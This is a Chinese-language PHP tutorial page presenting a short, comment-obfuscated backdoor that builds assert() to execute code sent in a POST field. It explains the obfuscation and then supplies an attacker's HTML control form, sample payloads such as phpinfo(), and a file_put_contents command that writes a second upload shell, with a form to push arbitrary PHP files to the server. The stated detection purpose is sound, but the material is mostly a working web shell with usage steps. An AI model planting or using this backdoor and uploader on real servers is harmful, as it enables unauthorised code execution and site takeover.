后端开发 \ PHP \ 代码简短且隐蔽的后门木马

代码简短且隐蔽的后门木马

总点击37
简介:本文将介绍一个代码很简短,而且很隐蔽的后门木马,以便让大家在检测程序时可以避免被挂木马。

本文将介绍一个代码很简短,而且很隐蔽的后门木马,以便让大家在检测程序时可以避免被挂木马。

文件内容如下:

<?php

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";

@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";

@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}

[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

代码中插入了很多注释符,服务器的检测程序如果不严谨很难检测到。

把注释符删除后,代码如下:

<?php

@$_="s"."s"."e"."r";

@$_="a".$_."t";

@$_(${"_P"."OS"."T"}

[0-2-5]);

?>

最后实际执行的代码内容为:

<?php

assert(${"_POST"}[-7]);

?>

原来这个后门是利用了php assert方法来执行程序。


bool assert ( mixed $assertion [,string $description ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

如果$assertion的内容为phpinfo(); 则会把服务器的信息返回,使攻击者能获取到服务器信息对此攻击。

上传了这个后门程序后,攻击者只需要创建一个简单的html就可以在服务器中执行php语句。


假设后门文件是backdoor.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<title> back door </title>

</head>

<body>

<form name="form1" method="post" action="http://www.example.com/backdoor.php">

<p><textarea name="-7" style="width:500px; height:300px"></textarea></p>

<p><input type="submit" value="submit"></p>

</form>

</body>

</html>


攻击方式:


1.获取服务器信息可输入

phpinfo();

2.创建一个可随便上传文件的php可输入

file_put_contents('hack.php','<?php move_uploaded_file($_FILES['name']['tmp_name'],dirname(__FILE__).'/dest.php');?>',true);

然后创建一个上传文件的html调用hack.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<title> upload </title>

</head>

<body>

<form name="form1" method="post" action="http://www.example.com/hack.php" enctype="multipart/form-data">

<p><input type="file" name="name"></p>

<p><input type="submit" value="submit"></p>

</form>

</body>

</html>

之后便可随意上传php文件执行了。

意见反馈 常见问题 官方微信 返回顶部